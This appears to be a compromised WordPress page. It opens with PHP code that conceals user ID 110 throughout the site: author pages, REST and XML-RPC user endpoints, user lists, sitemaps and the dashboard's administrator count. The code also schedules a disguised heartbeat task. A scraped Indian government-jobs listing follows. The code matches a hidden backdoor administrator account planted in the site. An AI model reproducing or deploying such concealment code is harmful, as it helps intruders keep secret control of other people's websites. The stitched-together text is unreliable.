add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Government Jobs - Page 16 of 52 - Government Exam Alert - Jobs/ Exam Information
Skip to content
UPMSCL Recruitment 2023 for Pharmacist Office Assistant Account Officer Manager HR Posts Online Application Form T&M Multiple Posts warehouse online application upmscl pharmacist Office Assistant apply online Uttar Pradesh Medical Supplies Corporation Limited upmscl notification 2023 exam date UPMSCL Recruitment 2023 Multiple Posts Apply Online LATEST JOB UPDATE : UPMSCL has issued Recruitment Notice & … Read more
Categories B.Pharma , Diploma Jobs , Government Jobs , Graduation , Medical Jobs , Other Government Jobs , Pharmacy Jobs , State Government Jobs Tags Apply Online , Online Application Form , pharmacist , upmscl recruitment 2023 drdo rac scientist recruitment 2023 online application form for 51 Posts drdo scientist recruitment notification download recruitment and assessment centre eligibility criteria Defence Research and Development Organization vacancy details DRDO RAC Scientist Recruitment 2023 Apply Online JOB UPDATE : Good News !! DRDO has issued Recruitment Notification for 51 Scientist Posts under Advt no. 147. … Read more
plw apprentice recruitment 2023 Patiala Locomotive Works Apprentice Recruitment 2023 Railway PLW Apprentice Vacancy 2023 for 295 Posts Apply Online for ITI & Non ITI Apprentice Posts Selection Process PLW 295 Apprentice Recruitment 2023 Patiala Locomotive Works APPLY Online Now Job Update : Patiala Locomotive Works has issued Recruitment Notification for 295 Apprentice Posts. Candidates … Read more
kgmu lucknow nursing officer vacancy 2023 apply online kgmu staff nurse recruitment 2023 for 1291 vacancies KGMU Nursing Officer online application date King George’s Medical University KGMU Lucknow latest job vacancies KGMU Lucknow Nursing Officer Recruitment 2023 -1291 Posts Apply Online LATEST UPDATE dated 20.10.2023 : KGMU Lucknow has released Revised Notification for 1291 Nursing … Read more
Eastern Railway Apprentice Recruitment 2023 RRC ER Apprentice Recruitment 2023 RRC Kolkata Recruitment for 3115 Apprentice Posts RRC ER Online Application Form Trade Apprentice Notification RRC Apprentice Jobs Apply Online RRC ER Apprentice Recruitment 2023 Eastern Railway Online Application -3113 Posts LATEST UPDATE : Good News !! Notice for Eastern Railway 3115 Apprentice Posts has … Read more